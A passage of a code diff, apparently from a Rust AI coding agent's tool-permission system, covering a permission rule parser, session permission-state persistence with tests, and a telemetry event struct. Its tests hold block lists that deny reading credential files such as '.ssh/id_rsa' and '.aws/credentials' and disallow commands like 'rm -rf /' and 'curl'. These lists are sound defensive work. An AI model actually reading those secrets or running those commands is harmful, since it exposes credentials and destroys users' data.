fn grep_tool_covered_by_read_rules() {
let read_rule = |action: RuleAction, pattern: &str| PermissionRule {
action,
tool: ToolFilter::Read,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
};
let config = PermissionConfig::new(vec![
read_rule(RuleAction::Deny, "**/.env"),
read_rule(RuleAction::Deny, "**/*.pem"),
read_rule(RuleAction::Deny, "**/.ssh/**"),
read_rule(RuleAction::Deny, "**/.aws/**"),
read_rule(RuleAction::Ask, "**/secrets/**"),
]);
let grep = |p: &str| AccessKind::Grep {
path: Some(p.to_string()),
glob: None,
};
for denied in [".env", "key.pem", ".ssh/id_rsa", ".aws/credentials"] {
assert!(
matches!(
evaluate_policy(&grep(denied), &config),
Some(Decision::Reject(_))
),
"grep on a Read-denied path must deny: {denied}"
);
}
assert!(matches!(
evaluate_policy(&grep("secrets/value.txt"), &config),
Some(Decision::Ask)
));
assert!(evaluate_policy(&grep("src/main.rs"), &config).is_none());
assert!(
evaluate_policy(
&AccessKind::Grep {
path: None,
glob: None,
},
&config,
)
.is_none()
);
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,302 @@
//! Native permission rule-string DSL and permission-mode vocabulary.
use std::str::FromStr;
use crate::permission::types::{PatternMode, PermissionRule, PromptPolicy, RuleAction, ToolFilter};
/// Recognized `permissions.defaultMode` values.
///
/// Unknown strings fail `FromStr` and are treated as [`Self::Default`] at the
/// call site (fail-safe) while still claiming the settings scope so a
/// typo in a more-specific file blocks a looser parent mode.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum DefaultPermissionMode {
Default,
AcceptEdits,
Plan,
/// Classifier-based auto mode. Accepted from settings; seeds the manager's
/// auto flag (no separate `disableAutoMode` gate yet — intentional).
Auto,
DontAsk,
BypassPermissions,
}
impl FromStr for DefaultPermissionMode {
type Err = String;
fn from_str(s: &str) -> Result<Self, Self::Err> {
match s {
"default" => Ok(Self::Default),
"acceptEdits" => Ok(Self::AcceptEdits),
"plan" => Ok(Self::Plan),
"auto" => Ok(Self::Auto),
"dontAsk" => Ok(Self::DontAsk),
"bypassPermissions" => Ok(Self::BypassPermissions),
other => Err(other.to_string()),
}
}
}
impl DefaultPermissionMode {
pub(crate) fn effects(self) -> DefaultModeEffects {
match self {
Self::AcceptEdits => DefaultModeEffects {
accept_edits: true,
..Default::default()
},
Self::BypassPermissions => DefaultModeEffects {
bypass_permissions: true,
..Default::default()
},
Self::Default | Self::Plan => DefaultModeEffects::default(),
Self::DontAsk => DefaultModeEffects {
prompt_policy: PromptPolicy::Deny,
..Default::default()
},
Self::Auto => DefaultModeEffects {
prompt_policy: PromptPolicy::Auto,
..Default::default()
},
}
}
}
/// Effects of a `defaultMode` on rules + prompt policy.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub(crate) struct DefaultModeEffects {
pub(crate) prompt_policy: PromptPolicy,
pub(crate) accept_edits: bool,
pub(crate) bypass_permissions: bool,
}
// ═════════════════════════════════════════════════════════════════════════════
// Error Type
// ═════════════════════════════════════════════════════════════════════════════
/// Errors from parsing a permission rule string.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum RuleParseError {
/// Tool prefix is recognized but not supported (e.g., "EnterWorktree").
UnsupportedToolPrefix { prefix: String },
/// Tool prefix is unrecognized.
UnknownToolPrefix { prefix: String },
/// Rule string is malformed (e.g., missing closing paren).
MalformedRule { detail: String },
}
impl std::fmt::Display for RuleParseError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
RuleParseError::UnsupportedToolPrefix { prefix } => {
write!(f, "unsupported tool prefix: {}", prefix)
}
RuleParseError::UnknownToolPrefix { prefix } => {
write!(f, "unknown tool prefix: {}", prefix)
}
RuleParseError::MalformedRule { detail } => {
write!(f, "malformed rule: {}", detail)
}
}
}
}
impl std::error::Error for RuleParseError {}
// ═════════════════════════════════════════════════════════════════════════════
// Rule Parser
// ═════════════════════════════════════════════════════════════════════════════
/// Parse a permission rule string into a native `PermissionRule`.
///
/// Supported tool prefixes:
/// - `Bash(...)` -> `ToolFilter::Bash`
/// - `Read(...)` / `NotebookRead(...)` -> `ToolFilter::Read`
/// - `Edit(...)` / `Write(...)` / `NotebookEdit(...)` -> `ToolFilter::Edit`
/// - `MCPTool(...)` -> `ToolFilter::Mcp`
/// - `Grep(...)` / `Glob(...)` -> `ToolFilter::Grep`
/// - `WebFetch(...)` -> `ToolFilter::WebFetch`
/// - `WebSearch(...)` -> `ToolFilter::WebSearch`
/// - No prefix / bare pattern -> `ToolFilter::Any`
///
/// `WebFetch` patterns support a `domain:` prefix (e.g., `WebFetch(domain:example.com)`)
/// which sets `PatternMode::Domain` for host-level matching instead of glob.
///
/// Explicitly unsupported (returns `Err`):
/// - `EnterWorktree(...)`
/// - Any unrecognized tool prefix
///
/// Pattern semantics:
/// - Supports `*` as prefix/suffix/middle wildcard
/// - Supports `**` for recursive path matching (zero or more segments)
/// - Bash: a trailing `:*` is a prefix idiom — `Bash(cmd:*)` → prefix `cmd`
///
/// Bare tool names (no parentheses) are recognized and treated as wildcard
/// rules for that tool type:
/// - `"Bash"` → `{ Allow, Bash, None }` (matches all bash commands)
/// - `"Edit"` → `{ Allow, Edit, None }` (matches all edit operations)
///
/// Examples:
/// - `Ok`: `"Bash(npm run build)"` → `{ Allow, Bash, "npm run build" }`
/// - `Ok`: `"Read(src/*.rs)"` → `{ Allow, Read, "src/*.rs" }`
/// - `Ok`: `"Read(**/src/**)"` → `{ Allow, Read, "**/src/**" }`
/// - `Ok`: `"Edit(src/**/*.rs)"` → `{ Allow, Edit, "src/**/*.rs" }`
/// - `Ok`: `"Bash"` → `{ Allow, Bash, None }` (bare tool name)
/// - `Err`: `"EnterWorktree(*)"` → `UnsupportedToolPrefix`
pub fn parse_permission_rule(
rule: &str,
action: RuleAction,
) -> Result<PermissionRule, RuleParseError> {
let rule = rule.trim();
// Try to extract tool prefix: "ToolName(" ... ")"
// Use escape-aware parsing to handle \( and \) in content.
if let Some(open_paren) = find_first_unescaped(rule, b'(') {
let prefix = &rule[..open_paren];
let prefix_trimmed = prefix.trim();
// Find last unescaped closing paren
let content_and_close = &rule[open_paren + 1..];
let close_paren = find_last_unescaped(content_and_close, b')').ok_or_else(|| {
RuleParseError::MalformedRule {
detail: "missing closing parenthesis".to_string(),
}
})?;
let raw_content = content_and_close[..close_paren].trim();
// Empty content or standalone wildcard = tool-wide rule.
let pattern = if raw_content.is_empty() || raw_content == "*" {
String::new()
} else {
unescape_rule_content(raw_content)
};
let tool = match tool_name_to_filter(prefix_trimmed) {
Some(f) => f,
None if prefix_trimmed == "EnterWorktree" => {
return Err(RuleParseError::UnsupportedToolPrefix {
prefix: prefix_trimmed.to_string(),
});
}
None => {
return Err(RuleParseError::UnknownToolPrefix {
prefix: prefix_trimmed.to_string(),
});
}
};
// `Bash(cmd:*)` means "commands starting with cmd"; as a glob it matches nothing.
let pattern = if tool == ToolFilter::Bash {
strip_bash_colon_wildcard(pattern)
} else {
pattern
};
let (pattern, pattern_mode) = strip_domain_prefix(pattern);
let pattern_opt = if pattern.is_empty() {
None
} else {
Some(pattern)
};
Ok(PermissionRule {
action,
tool,
pattern: pattern_opt,
pattern_mode,
})
} else {
if let Some(tool) = tool_name_to_filter(rule) {
return Ok(PermissionRule {
action,
tool,
pattern: None,
pattern_mode: PatternMode::Glob,
});
}
let pattern_opt = if rule.is_empty() {
None
} else {
Some(rule.to_string())
};
Ok(PermissionRule {
action,
tool: ToolFilter::Any,
pattern: pattern_opt,
pattern_mode: PatternMode::Glob,
})
}
}
/// Map a tool name to the native `ToolFilter`.
///
/// Recognized tool-filter names. Returns `None` for unrecognized names.
pub(crate) fn tool_name_to_filter(name: &str) -> Option<ToolFilter> {
match name {
"Bash" => Some(ToolFilter::Bash),
"Read" | "NotebookRead" => Some(ToolFilter::Read),
"Edit" | "Write" | "NotebookEdit" => Some(ToolFilter::Edit),
"MCPTool" => Some(ToolFilter::Mcp),
"Grep" | "Glob" => Some(ToolFilter::Grep),
"WebFetch" => Some(ToolFilter::WebFetch),
"WebSearch" => Some(ToolFilter::WebSearch),
_ => None,
}
}
/// True if the byte at `pos` is NOT preceded by an odd number of backslashes.
pub(crate) fn is_unescaped(bytes: &[u8], pos: usize) -> bool {
let mut backslashes = 0usize;
let mut j = pos;
while j > 0 && bytes[j - 1] == b'\\' {
backslashes += 1;
j -= 1;
}
backslashes.is_multiple_of(2)
}
pub(crate) fn find_first_unescaped(s: &str, target: u8) -> Option<usize> {
let bytes = s.as_bytes();
bytes
.iter()
.enumerate()
.find(|&(i, &b)| b == target && is_unescaped(bytes, i))
.map(|(i, _)| i)
}
pub(crate) fn find_last_unescaped(s: &str, target: u8) -> Option<usize> {
let bytes = s.as_bytes();
(0..bytes.len())
.rev()
.find(|&i| bytes[i] == target && is_unescaped(bytes, i))
}
/// Unescape rule content: `\(` → `(`, `\)` → `)`, `\\` → `\`.
pub(crate) fn unescape_rule_content(s: &str) -> String {
if !s.contains('\\') {
return s.to_owned();
}
// Order matters: unescape parens before backslashes (reverse of escaping).
s.replace("\\(", "(")
.replace("\\)", ")")
.replace("\\\\", "\\")
}
pub(crate) fn strip_domain_prefix(pattern: String) -> (String, PatternMode) {
match pattern.strip_prefix("domain:") {
Some(domain) => (domain.to_string(), PatternMode::Domain),
None => (pattern, PatternMode::Glob),
}
}
/// Bash `cmd:*` prefix idiom → bare prefix; only the trailing `:*` counts.
/// Deliberately raw-prefix — a superset of a word-boundary `:*` (stricter for deny/ask,
/// wider for allow), matching the evaluator's single prefix regime for every Bash literal.
pub(crate) fn strip_bash_colon_wildcard(pattern: String) -> String {
match pattern.strip_suffix(":*") {
Some(prefix) => prefix.to_string(),
None => pattern,
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,590 @@
#![allow(dead_code)] // Phase 1 internal helpers
use crate::permission::types::EditPolicy;
use kigi_paths::AbsPathBuf;
use kigi_tools::util::kigi_home::kigi_home;
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
#[derive(Debug, Default, Clone, Serialize, Deserialize)]
#[serde(default)]
pub struct PermissionState {
pub edit_policy: EditPolicy,
pub allow_bash_execute: bool,
pub allowed_bash_commands: HashSet<String>,
pub disallowed_bash_commands: HashSet<String>,
/// Domains the user has approved for `web_fetch`
/// during this session.
pub allowed_web_fetch_domains: HashSet<String>,
/// Exact MCP tool names (e.g. `"grok_com_notion__notion-fetch"`)
/// the user has granted "always allow" for. Lookup is exact.
pub allowed_mcp_tools: HashSet<String>,
/// MCP server prefixes (everything before the first `__`,
/// e.g. `"grok_com_notion"`) for which the user has granted
/// "always allow" to every tool. Lookup is "tool name starts with
/// `<prefix>__`".
pub allowed_mcp_servers: HashSet<String>,
}
fn state_dir_for_cwd(cwd: &AbsPathBuf) -> std::path::PathBuf {
kigi_config::sessions_cwd_dir(cwd.as_str())
}
fn sanitize_client_id(id: &str) -> String {
id.chars()
.map(|c| {
if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
c
} else {
'_'
}
})
.collect()
}
fn state_file_path(dir: &std::path::Path, client_identifier: Option<&str>) -> std::path::PathBuf {
match client_identifier {
Some(id) => dir.join(format!("permission_{}.toml", sanitize_client_id(id))),
None => dir.join("permission.toml"),
}
}
async fn try_load_state(path: &std::path::Path) -> Option<PermissionState> {
match tokio::fs::read_to_string(path).await {
Ok(s) => Some(toml::from_str(&s).unwrap_or_default()),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => None,
Err(e) => {
tracing::warn!(?e, "failed reading permission state");
None
}
}
}
async fn load_state_from_dir(
dir: &std::path::Path,
client_identifier: Option<&str>,
) -> PermissionState {
if let Some(id) = client_identifier {
let per_client = state_file_path(dir, Some(id));
if let Some(state) = try_load_state(&per_client).await {
return state;
}
let shared = state_file_path(dir, None);
try_load_state(&shared).await.unwrap_or_default()
} else {
let path = state_file_path(dir, None);
try_load_state(&path).await.unwrap_or_default()
}
}
pub(crate) async fn load_state_from_disk(
cwd: &AbsPathBuf,
client_identifier: Option<&str>,
) -> PermissionState {
load_state_from_dir(&state_dir_for_cwd(cwd), client_identifier).await
}
async fn persist_state_to_dir(
dir: &std::path::Path,
state: &PermissionState,
client_identifier: Option<&str>,
) {
if let Err(e) = tokio::fs::create_dir_all(dir).await {
tracing::warn!(?e, "failed creating permission state directory");
return;
}
let path = state_file_path(dir, client_identifier);
match toml::to_string_pretty(state) {
Ok(s) => {
if let Err(e) = tokio::fs::write(&path, s).await {
tracing::warn!(?e, "failed writing permission state");
}
}
Err(e) => tracing::warn!(?e, "failed serializing permission state"),
}
}
pub(crate) async fn persist_state(
cwd: &AbsPathBuf,
state: &PermissionState,
client_identifier: Option<&str>,
) {
persist_state_to_dir(&state_dir_for_cwd(cwd), state, client_identifier).await
}
pub async fn cleanup_stale_permission_state(max_age: std::time::Duration) {
let sessions_dir = kigi_home().join("sessions");
let Ok(mut entries) = tokio::fs::read_dir(&sessions_dir).await else {
return;
};
while let Ok(Some(session_entry)) = entries.next_entry().await {
let Ok(ft) = session_entry.file_type().await else {
continue;
};
if !ft.is_dir() {
continue;
}
let session_dir = session_entry.path();
let Ok(mut files) = tokio::fs::read_dir(&session_dir).await else {
continue;
};
while let Ok(Some(file_entry)) = files.next_entry().await {
let path = file_entry.path();
let file_name = path.file_name().and_then(|n| n.to_str()).unwrap_or("");
if !file_name.starts_with("permission") || !file_name.ends_with(".toml") {
continue;
}
if let Ok(metadata) = tokio::fs::metadata(&path).await
&& let Ok(modified) = metadata.modified()
&& let Ok(age) = modified.elapsed()
&& age > max_age
{
tracing::debug!(path = %path.display(), "removing stale permission state");
let _ = tokio::fs::remove_file(&path).await;
}
}
}
}
#[cfg(test)]
#[allow(clippy::field_reassign_with_default)]
mod tests {
use super::*;
// ── PermissionState serialization roundtrip tests ─────────────
#[test]
fn default_state_serialization() {
let state = PermissionState::default();
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert!(!restored.allow_bash_execute);
assert!(restored.allowed_bash_commands.is_empty());
assert!(restored.disallowed_bash_commands.is_empty());
}
#[test]
fn roundtrip_with_allowed_commands() {
let mut state = PermissionState::default();
state.allow_bash_execute = true;
state.allowed_bash_commands.insert("cargo test".to_string());
state
.allowed_bash_commands
.insert("npm run build".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert!(restored.allow_bash_execute);
assert!(restored.allowed_bash_commands.contains("cargo test"));
assert!(restored.allowed_bash_commands.contains("npm run build"));
assert_eq!(restored.allowed_bash_commands.len(), 2);
}
#[test]
fn roundtrip_with_disallowed_commands() {
let mut state = PermissionState::default();
state.disallowed_bash_commands.insert("rm -rf".to_string());
state
.disallowed_bash_commands
.insert("git push --force".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
let denied = &restored.disallowed_bash_commands;
assert!(denied.contains("rm -rf"));
assert!(denied.contains("git push --force"));
assert_eq!(denied.len(), 2);
}
#[test]
fn roundtrip_with_both_allowed_and_disallowed() {
// Simulate a real scenario: some commands explicitly allowed,
// others explicitly denied.
let mut state = PermissionState::default();
state.allow_bash_execute = false;
state.allowed_bash_commands.insert("cargo test".to_string());
state.allowed_bash_commands.insert("git status".to_string());
state
.disallowed_bash_commands
.insert("rm -rf /".to_string());
state.disallowed_bash_commands.insert("curl".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert!(!restored.allow_bash_execute);
assert_eq!(restored.allowed_bash_commands.len(), 2);
assert_eq!(restored.disallowed_bash_commands.len(), 2);
assert!(restored.allowed_bash_commands.contains("cargo test"));
assert!(restored.disallowed_bash_commands.contains("curl"));
}
#[test]
fn edit_policy_is_persisted() {
let mut state = PermissionState::default();
state.edit_policy = EditPolicy::Allow;
let toml_str = toml::to_string_pretty(&state).unwrap();
assert!(toml_str.contains("edit_policy"));
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.edit_policy, EditPolicy::Allow);
}
#[test]
fn edit_policy_reject_roundtrip() {
let mut state = PermissionState::default();
state.edit_policy = EditPolicy::Reject;
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.edit_policy, EditPolicy::Reject);
}
#[test]
fn missing_edit_policy_defaults_to_ask() {
let toml_str = r#"allow_bash_execute = false"#;
let state: PermissionState = toml::from_str(toml_str).unwrap();
assert_eq!(state.edit_policy, EditPolicy::Ask);
}
#[test]
fn deserialize_from_empty_toml() {
let state: PermissionState = toml::from_str("").unwrap();
assert!(!state.allow_bash_execute);
assert!(state.allowed_bash_commands.is_empty());
assert!(state.disallowed_bash_commands.is_empty());
}
#[test]
fn deserialize_partial_toml() {
// Only some fields present — others should default.
let toml_str = r#"allow_bash_execute = true"#;
let state: PermissionState = toml::from_str(toml_str).unwrap();
assert!(state.allow_bash_execute);
assert!(state.allowed_bash_commands.is_empty());
assert!(state.disallowed_bash_commands.is_empty());
}
#[test]
fn roundtrip_with_allowed_web_fetch_domains() {
let mut state = PermissionState::default();
state
.allowed_web_fetch_domains
.insert("stackoverflow.com".to_string());
state
.allowed_web_fetch_domains
.insert("custom.example.com".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.allowed_web_fetch_domains.len(), 2);
assert!(
restored
.allowed_web_fetch_domains
.contains("stackoverflow.com")
);
assert!(
restored
.allowed_web_fetch_domains
.contains("custom.example.com")
);
}
#[test]
fn roundtrip_with_allowed_mcp_tools() {
let mut state = PermissionState::default();
state
.allowed_mcp_tools
.insert("grok_com_notion__notion-fetch".to_string());
state
.allowed_mcp_tools
.insert("linear__list_issues".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.allowed_mcp_tools.len(), 2);
assert!(
restored
.allowed_mcp_tools
.contains("grok_com_notion__notion-fetch")
);
assert!(restored.allowed_mcp_tools.contains("linear__list_issues"));
assert!(restored.allowed_mcp_servers.is_empty());
}
#[test]
fn roundtrip_with_allowed_mcp_servers() {
let mut state = PermissionState::default();
state
.allowed_mcp_servers
.insert("grok_com_slack".to_string());
state.allowed_mcp_servers.insert("linear".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.allowed_mcp_servers.len(), 2);
assert!(restored.allowed_mcp_servers.contains("grok_com_slack"));
assert!(restored.allowed_mcp_servers.contains("linear"));
assert!(restored.allowed_mcp_tools.is_empty());
}
#[test]
fn roundtrip_with_both_mcp_sets() {
let mut state = PermissionState::default();
state.allowed_mcp_tools.insert("notion__fetch".to_string());
state.allowed_mcp_servers.insert("linear".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.allowed_mcp_tools.len(), 1);
assert_eq!(restored.allowed_mcp_servers.len(), 1);
assert!(restored.allowed_mcp_tools.contains("notion__fetch"));
assert!(restored.allowed_mcp_servers.contains("linear"));
}
#[test]
fn deserialize_old_state_without_mcp_fields() {
// A state file from a binary that predates this design has
// neither MCP field. #[serde(default)] should yield empty sets.
let toml_str = r#"
allow_bash_execute = true
allowed_bash_commands = ["cargo test"]
allowed_web_fetch_domains = ["github.com"]
"#;
let state: PermissionState = toml::from_str(toml_str).unwrap();
assert!(state.allow_bash_execute);
assert!(state.allowed_bash_commands.contains("cargo test"));
assert!(state.allowed_web_fetch_domains.contains("github.com"));
assert!(state.allowed_mcp_tools.is_empty());
assert!(state.allowed_mcp_servers.is_empty());
}
#[test]
fn deserialize_unknown_fields_tolerated() {
// PermissionState uses #[serde(default)] which provides defaults for
// missing fields. It does NOT use #[serde(deny_unknown_fields)], so
// unknown keys in TOML are silently ignored. This is important for
// forward compatibility: older versions of the binary should be able
// to read state files written by newer versions that may have added
// new fields.
let toml_str = r#"
allow_bash_execute = false
unknown_field = "should be ignored"
allowed_bash_commands = ["ls"]
"#;
let state: PermissionState = toml::from_str(toml_str).unwrap();
assert!(!state.allow_bash_execute);
assert!(state.allowed_bash_commands.contains("ls"));
assert!(state.disallowed_bash_commands.is_empty());
}
// ── Disk persistence roundtrip tests ─────────────────────────
#[tokio::test]
async fn persist_and_load_roundtrip() {
let tmp = tempfile::tempdir().unwrap();
let cwd_path = tmp.path().join("my-project");
std::fs::create_dir_all(&cwd_path).unwrap();
let _cwd = AbsPathBuf::new(cwd_path).unwrap();
let mut state = PermissionState::default();
state.allow_bash_execute = true;
state
.allowed_bash_commands
.insert("cargo build".to_string());
state.disallowed_bash_commands.insert("rm -rf".to_string());
// Override the state dir to use our temp dir.
// We can't easily override kigi_home(), so instead test
// the serialize/deserialize path directly with TOML.
let toml_str = toml::to_string_pretty(&state).unwrap();
let dir = tmp.path().join("sessions").join("test");
tokio::fs::create_dir_all(&dir).await.unwrap();
let path = dir.join("permission.toml");
tokio::fs::write(&path, &toml_str).await.unwrap();
let content = tokio::fs::read_to_string(&path).await.unwrap();
let restored: PermissionState = toml::from_str(&content).unwrap();
assert!(restored.allow_bash_execute);
assert!(restored.allowed_bash_commands.contains("cargo build"));
assert!(restored.disallowed_bash_commands.contains("rm -rf"));
}
#[tokio::test]
async fn load_missing_file_returns_default() {
// Simulates load_state_from_disk behavior for a missing file.
let path = std::path::Path::new("/nonexistent/permission.toml");
let result = tokio::fs::read_to_string(path).await;
match result {
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
let state = PermissionState::default();
assert!(!state.allow_bash_execute);
}
_ => panic!("expected NotFound error"),
}
}
#[tokio::test]
async fn load_corrupt_file_returns_default() {
// Simulates load_state_from_disk behavior for corrupt TOML.
let corrupt = "this is not valid toml {{{{";
let state: PermissionState = toml::from_str(corrupt).unwrap_or_default();
assert!(!state.allow_bash_execute);
assert!(state.allowed_bash_commands.is_empty());
}
// ── Per-client state file path tests ──────────────────────────
#[test]
fn state_file_path_without_client_id() {
let tmp = tempfile::tempdir().unwrap();
let path = state_file_path(tmp.path(), None);
assert_eq!(path.file_name().unwrap(), "permission.toml");
}
#[test]
fn state_file_path_with_client_id() {
let tmp = tempfile::tempdir().unwrap();
let path = state_file_path(tmp.path(), Some("vscode-ext"));
assert_eq!(path.file_name().unwrap(), "permission_vscode-ext.toml");
}
#[test]
fn state_file_path_empty_client_id() {
let tmp = tempfile::tempdir().unwrap();
let path = state_file_path(tmp.path(), Some(""));
assert_eq!(path.file_name().unwrap(), "permission_.toml");
}
#[test]
fn state_file_path_sanitizes_path_separators() {
let tmp = tempfile::tempdir().unwrap();
let path = state_file_path(tmp.path(), Some("foo/bar"));
assert_eq!(path.file_name().unwrap(), "permission_foo_bar.toml");
let path = state_file_path(tmp.path(), Some("foo\\bar"));
assert_eq!(path.file_name().unwrap(), "permission_foo_bar.toml");
}
#[test]
fn sanitize_client_id_prevents_traversal() {
assert_eq!(sanitize_client_id("foo/../../attack"), "foo_______attack");
assert_eq!(sanitize_client_id("normal-id"), "normal-id");
assert_eq!(sanitize_client_id("has\0null"), "has_null");
assert_eq!(sanitize_client_id("back\\slash"), "back_slash");
}
#[tokio::test]
async fn try_load_state_missing_returns_none() {
let result = try_load_state(std::path::Path::new("/nonexistent/permission.toml")).await;
assert!(result.is_none());
}
#[tokio::test]
async fn try_load_state_valid_file() {
let tmp = tempfile::tempdir().unwrap();
let path = tmp.path().join("permission.toml");
tokio::fs::write(&path, "allow_bash_execute = true")
.await
.unwrap();
let state = try_load_state(&path).await.unwrap();
assert!(state.allow_bash_execute);
}
#[tokio::test]
async fn per_client_persist_and_load_roundtrip() {
let tmp = tempfile::tempdir().unwrap();
let dir = tmp.path();
let mut state = PermissionState::default();
state.allow_bash_execute = true;
state.allowed_bash_commands.insert("cargo test".to_string());
persist_state_to_dir(dir, &state, Some("client_a")).await;
let loaded = load_state_from_dir(dir, Some("client_a")).await;
assert!(loaded.allow_bash_execute);
assert!(loaded.allowed_bash_commands.contains("cargo test"));
}
#[tokio::test]
async fn per_client_load_falls_back_to_shared() {
let tmp = tempfile::tempdir().unwrap();
let dir = tmp.path();
let mut shared_state = PermissionState::default();
shared_state.allow_bash_execute = true;
shared_state
.allowed_bash_commands
.insert("cargo test".to_string());
persist_state_to_dir(dir, &shared_state, None).await;
let loaded = load_state_from_dir(dir, Some("new_client")).await;
assert!(loaded.allow_bash_execute);
assert!(loaded.allowed_bash_commands.contains("cargo test"));
}
#[tokio::test]
async fn per_client_file_takes_priority_over_shared() {
let tmp = tempfile::tempdir().unwrap();
let dir = tmp.path();
let mut shared_state = PermissionState::default();
shared_state.allow_bash_execute = true;
persist_state_to_dir(dir, &shared_state, None).await;
let mut client_state = PermissionState::default();
client_state.allow_bash_execute = false;
client_state
.allowed_bash_commands
.insert("npm test".to_string());
persist_state_to_dir(dir, &client_state, Some("my-client")).await;
let loaded = load_state_from_dir(dir, Some("my-client")).await;
assert!(!loaded.allow_bash_execute);
assert!(loaded.allowed_bash_commands.contains("npm test"));
let shared_loaded = load_state_from_dir(dir, None).await;
assert!(shared_loaded.allow_bash_execute);
}
#[tokio::test]
async fn load_none_client_returns_default_when_no_file() {
let tmp = tempfile::tempdir().unwrap();
let loaded = load_state_from_dir(tmp.path(), None).await;
assert!(!loaded.allow_bash_execute);
assert!(loaded.allowed_bash_commands.is_empty());
}
#[tokio::test]
async fn per_client_isolation_between_clients() {
let tmp = tempfile::tempdir().unwrap();
let dir = tmp.path();
let mut state_a = PermissionState::default();
state_a
.allowed_bash_commands
.insert("cargo test".to_string());
persist_state_to_dir(dir, &state_a, Some("client_a")).await;
let mut state_b = PermissionState::default();
state_b.allowed_bash_commands.insert("npm test".to_string());
persist_state_to_dir(dir, &state_b, Some("client_b")).await;
let loaded_a = load_state_from_dir(dir, Some("client_a")).await;
assert!(loaded_a.allowed_bash_commands.contains("cargo test"));
assert!(!loaded_a.allowed_bash_commands.contains("npm test"));
let loaded_b = load_state_from_dir(dir, Some("client_b")).await;
assert!(loaded_b.allowed_bash_commands.contains("npm test"));
assert!(!loaded_b.allowed_bash_commands.contains("cargo test"));
}
}
@@ -0,0 +1,639 @@
use agent_client_protocol as acp;
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use tokio::sync::oneshot;
/// A permission event capturing the decision made for a tool call.
/// Used for telemetry to track permission patterns and user behavior.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PermissionEvent {
/// Tool call ID from the model
pub tool_id: String,
/// Name of the tool being executed
pub tool_name: String,
/// Type of access requested (read, edit, bash, mcp)
pub access_kind: String,
/// Additional context (e.g., file path for edit, command for bash)
#[serde(default, skip_serializing_if = "Option::is_none")]
pub access_detail: Option<String>,
/// Whether YOLO mode was enabled when this decision was made
pub yolo_mode: bool,
/// Whether this was auto-approved (by YOLO mode or policy rules)
pub auto_approved: bool,
/// Whether the user was prompted for this decision
pub user_prompted: bool,
/// The final decision (allow, reject)
pub decision: String,
/// The user's choice when prompted (allow_once, allow_always, reject_once,
/// etc.); None on auto/non-prompt decisions. The trigger lives in `decision_reason`.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub prompt_outcome: Option<String>,
/// Rejection reason if rejected
#[serde(default, skip_serializing_if = "Option::is_none")]
pub reject_reason: Option<String>,
/// When this decision was made
pub timestamp: DateTime<Utc>,
/// If this permission was requested by a subagent, the subagent's session ID.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub subagent_session_id: Option<String>,
/// If this permission was requested by a subagent, its type (e.g. "explore").
#[serde(default, skip_serializing_if = "Option::is_none")]
pub subagent_type: Option<String>,
/// If this permission was requested by a subagent, its description.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub subagent_description: Option<String>,
/// Effective permission mode governing this decision (not the trigger):
/// "ask" | "auto" | "always-approve". Hyphenated to match
/// `config.ui.permission_mode` in the same trace (differs from the telemetry
/// enum's underscore Mixpanel serde).
#[serde(default, skip_serializing_if = "Option::is_none")]
pub permission_mode: Option<String>,
/// The trigger that produced this decision, distinct from `prompt_outcome`
/// (which records the user's choice when prompted). Lets a trace show *why*
/// a request reached a prompt even when `user_prompted=true`. Values:
/// yolo, policy_allow, policy_deny, policy_ask, auto_fast_path,
/// auto_classifier_allow, auto_classifier_block, sandbox_auto,
/// persisted_grant, session_grant, static_allowlist, safe_command,
/// session_deny, prompt_deny, needs_user, requester_gone.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub decision_reason: Option<String>,
/// Elapsed milliseconds from the actor dequeuing this request to the decision
/// resolving. The timer starts at dequeue, so it excludes time the request
/// waited in the channel behind others; small for fast auto paths but
/// non-trivial when an auto classifier side-query runs before the decision.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub wait_ms: Option<u64>,
/// Concurrent in-flight permission requests (this one included) at emit time,
/// counted across the shared handle so overlapping subagent requests show up.
/// The per-turn "hit yes N times" count is instead the number of
/// `user_prompted=true` events in the turn, not this field.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub queue_depth: Option<u32>,
}
/// Identifies the type of client connecting to the agent.
/// Used to determine which permission UI features to enable
/// and which feedback/experiment client type to report.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, serde::Serialize, serde::Deserialize)]
pub enum ClientType {
/// Generic client - show simple permission options with full command text
#[default]
#[serde(rename = "generic", alias = "grok-shell", alias = "grok_shell")]
Generic,
/// Grok TUI client - show fancy options with interactive bash term selection
